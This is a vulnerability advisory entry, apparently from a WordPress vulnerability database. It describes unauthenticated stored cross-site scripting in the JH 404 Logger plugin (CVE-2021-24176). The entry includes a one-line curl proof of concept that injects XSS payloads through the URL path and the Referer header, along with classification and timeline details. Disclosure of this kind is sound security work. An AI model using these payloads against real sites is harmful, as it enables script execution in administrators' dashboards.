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JH 404 Logger <= 1.1 - Unauthenticated Stored Cross-Site Scripting (XSS)

Description

The plugin doesn't sanitise the referer and path of 404 pages, when they are output in the dashboard, which leads to executing arbitrary JavaScript code in the WordPress dashboard.

Proof of Concept

curl 'https://example.com/non-existing-page"><svg/onload=alert(/XSS-url/)>' -e '"><img src onerror=alert(/XSS-referer/)>'  

Affects Plugins

jh-404-logger
No known fix - plugin closed

References

CVE
CVE-2021-24176

YouTube Video

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Ganesh Bagaria

Submitter

Ganesh Bagaria

Submitter website
https://ganofins.com
Submitter twitter
ganofins
Verified

Yes

WPVDB ID
705bcd6e-6817-4f89-be37-901a767b0585

Timeline

Publicly Published

2021-03-11 (about 1 years ago)

Added

2021-03-11 (about 1 years ago)

Last Updated

2021-03-28 (about 1 years ago)

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